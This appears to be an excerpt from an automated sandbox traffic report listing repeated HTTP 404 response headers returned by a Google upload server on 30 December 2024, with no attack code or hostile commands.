Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4KS1-8RPzB0Lv_c7iLtGFjZmcKJK3jBAYNptdA-urt_pRg2CNGOwwelOHjaa4LRS7WContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:37 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-zQZnxz-jdoHytkoMnTSKRQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6ZyLoaYjCr-Jc-XrvFVN_QOa0zg5rYUjXF4yWWiBX3CVdzOKfd-BS-ozphNGTKaaArContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:37 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-j_HjNlZEvZlwl8B9WK6kXw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7bJ4bfnRhBPw_5gdvkn38o9n-HGASA01bBjYi9cjCIaeYr6GIFmYrE8kWYBt8F8qCJContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:39 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-O9mM0oBOnTbNGYipsUvkVw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6fptvrk1rvcYhu9jn_A5I3uskYgEv56SDRQsBG9qB8z09MvacwwCAFBmhWyas9wo9KContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:39 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-Isq4iJRQMKS29y9Gs5d_yw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7Zxc7tYAlHhm3Sl77wooeKkIH811kdZ9aOsB6hjMeCyxw-L5qs44kL-oQo3zyXE2cMx5lRBc4Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:40 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-j_LKLvuLRj2wyuyAUeO4VA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC482Q6VrHTYGQ-osPbIpHMT_R9Ji_mfmQzjEyT4jKQEmC_X8p7dzHgHgDYhbPigdfGfTFvT4zsContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:40 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-ow8qcLUkI1nnVjHb151auw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4kL-iL-oTdn4qTI2omROexovcwtBgGLqnkwBpQcc3WmZIPk8V1r52lVFeoCdfccpTDContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:41 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-gVpoI4Tv-OnyM5LOkA2eFA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6Y3g6nTdC_90wwTFlUzGeyiW_EWIlvUHK9oUwPShtsEkoRmh2o5u6JZoU7agqtEHPRupE7wl8Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:41 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-dRvZgDaa8ncDK3lhuL4Etg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6UgqQLGk0pOkDiEQB7tGQfAtnR9Zrn-M0jz32kXc8TS-r-7w8W8WoC-5ZK6tHubqGjceBPNkEContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:43 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-D_f3tEqjkMscKGBcSLhSLg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5Ng-uflHtoCJ-JOnCI818gn1ayzlH_BF1ZEO-y20tKgbTg73JkmBmuVRmo56yzlxKKD78WB1IContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:43 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-G-Bj5WmIBPjDPw9VGvadDA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5r37CbweChk2TGgPGhD6xqGx7C3buvydAbuDfEFBq6L0Xkl1HX9F-9P8phRepuJEWWContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:44 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-On3dSMNrh260KPs37aMD_Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC40j5xr93o-FJlU-oWlboUMUfc3OpGaNDQFFG24qfvcFGy7C2jX6Ww3dMxEZmU02BEUContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:44 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-lgHlG5LH-6cazGUvZW6cbg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4bjhMdS5hK0wr_aM45rZ4SV_aqjJI59Vd-dYagUCdI5ljz3LptmFJ1xU7tgpOtYyoJDgJ9zJcContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:45 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-jdX-JH2KZ9N2-ZTF924osA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC70HHyfttWFnYeelbZ3SV0rZihDYIfyEBp1QQQpYIp7u-kqjNuua-ugGzVloeePY-lEContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:45 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-_5AvQZMnxVXeCnXSGfwdhQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7mvEOf972L3aJqtsYq6boVPpNe7EAHY2MpEzyaLbNDENn3FOy9m01YTUVYE68crJkKoqhDsYYContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:47 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-pButS8NVCnEgLrjmwBdgPg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4CDWvYQOyVlgqZx2m9j5O0OsBbK2Lh2yXhIu0NkWEC4eSrNQsaZ7JK-tsaEK45r03iMkGiEUoContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:48 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-ss4z_i2c6dAdE-eS-wHAQQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7GdMQ_1GDU9YW0PeH4Dg-MLrL-KdDH169tClcsZOrOKxxQwpPPd9XAVD40dDwz2O6SContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:48 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-579eDfgSk3tWZ5pZzvWEyw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6lavYSCKeZOPKz9eekJVvbGN-ABVDa0KgtmX5JptBia-Tw3MYy7g3P8jWYn4rJKwTz_oQlwy4Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:49 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-uffd8JR1FjutwqX9uTI8ug' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4inCmU3gufltdM5cQSqTOnCculn82Wtt1znG-8q-K4-mcaBx4SU1bOGwWFaQWkLWJGFzfnGZoContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:49 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-l306eLfYZfxjIx1De6vFoQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4L8Ue7A9I3NxikRcb9PB8YRsnC-bzz0-7jM_m0AJIn5HKrCwSxZszP70osiDlZB1fiDMsiYFUContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:52 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-dtXmQLOw0BVMFnmBur0c1Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
